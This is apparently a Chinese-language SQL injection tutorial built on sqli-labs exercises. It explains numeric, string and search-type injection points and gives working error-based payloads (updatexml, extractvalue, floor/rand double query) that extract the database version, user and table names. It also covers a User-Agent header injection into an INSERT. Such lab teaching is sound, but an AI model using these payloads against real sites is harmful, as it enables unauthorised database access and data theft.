數字型-sqlilabs less2
前面文章已演示過
字符型-sqlilabs less1
前面文章已演示過
搜索型-自寫測試
www.test.com/index.php?id=1
www.test.com/index.php?id=abc
(搜索型,一般產生在網站的搜索框)http://www.test.com/search.php?q=1
區分參數類型的原因:
當參數類型為數字時,sql語句拼接可以不用引號或其他符號進行概括,而參數類型為字符串時,sql語句拼接必須使用引號或其他符號進行概括,從而由此分析,在進行sql注入時,如果出現符號,那么注入也要考慮符號的干擾!
本地計算機在進行文件搜索時,會經常使用通配符:"*" 星號
select * from emails where email_id like '%com%'
從上圖可以看出,數據庫通配符%和計算機搜索通配符*使用方法差不多
數字型和字符型的SQL語句:
選擇庫,表
數字型選擇列,無單引號
字符型選擇列,有單引號
參考文章:
https://www.wandouip.com/t5i158282/
http://blog.sina.com.cn/s/blog_1450cc4c60102vraq.html
mysql sql語句中空格可以使用"+",“/**/”等取代
updatexml()函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數
updatexml()函數與extractvalue()類似,是更新xml文檔的函數。
語法:updatexml(目標xml文檔,xml路徑,更新的內容)
如:
select username from security.user where id=1 and (updatexml(‘anything’,’/xx/xx’,’anything’))
報錯方式相同:
如:
select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))
可構造如下payload:
?id=1' and 1=(updatexml(1,concat(0x3a,(select version())),1))--+ ?id=1' and 1=(updatexml(1,concat(0x3a,(select table_name from information_schema.tables limit 0,1)),1))--+
updatexml的爆錯原因很簡單,updatexml第二個參數需要的是Xpath格式的字符串。我們輸入的顯然不符合。故報錯由此報錯
如果密碼長度超過了32位就不會被顯示出來。
payload分析:
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc 第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。 第三個參數:new_value,String格式,替換查找到的符合條件的數據
extractvalue()函數也是MYSQL對XML文檔數據進行查詢和修改的XPATH函數
?id=1' and extractvalue(1,concat(0x7e,user()))--+ ?id=1' and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)))--+
payload分析:
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受兩個字符串參數,一個XML標記片段 xml_frag和一個XPath表達式 xpath_expr(也稱為 定位器); 它返回
第一個參數可以傳入目標xml文檔,第二個參數是用Xpath路徑法表示的查找路徑
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b');
就是尋找前一段xml文檔內容中的a節點下的b節點,這里如果Xpath格式語法書寫錯誤的話,就會報錯。這里就是利用這個特性來獲得我們想要知道的內容。
構造payload:
?id=1'+and+(select+1+from+(select+count(*),concat(version(),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+ ?id=-1' and(select 1 from (select count(*),concat((select table_name from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
文章分析payload ,詳細講解雙查詢注入:
https://blog.csdn.net/lixiangminghate/article/details/80466257
當在一個聚合函數,比如count函數后面如果使用分組語句(group by)就會把查詢的一部分以錯誤的形式顯示出來
可以在database()替換要查詢的函數
在網站應用中進行數據顯示查詢操作,前面演示的很多都是
在網站應用中進行用戶注冊添加等操作
在登錄界面輸入的用戶名需要進數據庫查詢,有這用戶才可以進行下一步執行
用admin賬號密碼登錄一下
同時用seay審計工具的mysql監控插件,監控SQL命令的執行
可以看到有個insert的SQL語句,把它復制到MySQL命令行執行
從SQL命令中插入的參數中,有useragent,ip,username插入了數據庫
username參數想要插入到數據庫,就先要通過數據庫里面正確的賬號密碼插入,數據庫沒有的就不能通過,所以在這兩個框中不能進行語句注入
但是看到這里有ip和useragent插入數據庫,我們可以在這上面注入,加個單引號報錯了:
猜想在數據中的sql語句為:INSEERT INTO table VALUES('User-Agent','Ip','Username')
INSEERT INTO table VALUES('1' ,1,1)#','Ip','Username'),成功繞過
運用payload:
后台管理里面刪除文章刪除用戶等操作
數據同步緩存等操作
通過以上查詢方式與網站應用的關系,可以由注入點產生地方或應用猜測到對方的SQL查詢方式